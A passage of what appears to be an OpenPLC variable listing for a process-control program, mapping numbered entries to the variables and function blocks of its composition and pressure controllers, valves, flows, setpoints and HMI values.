+104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; 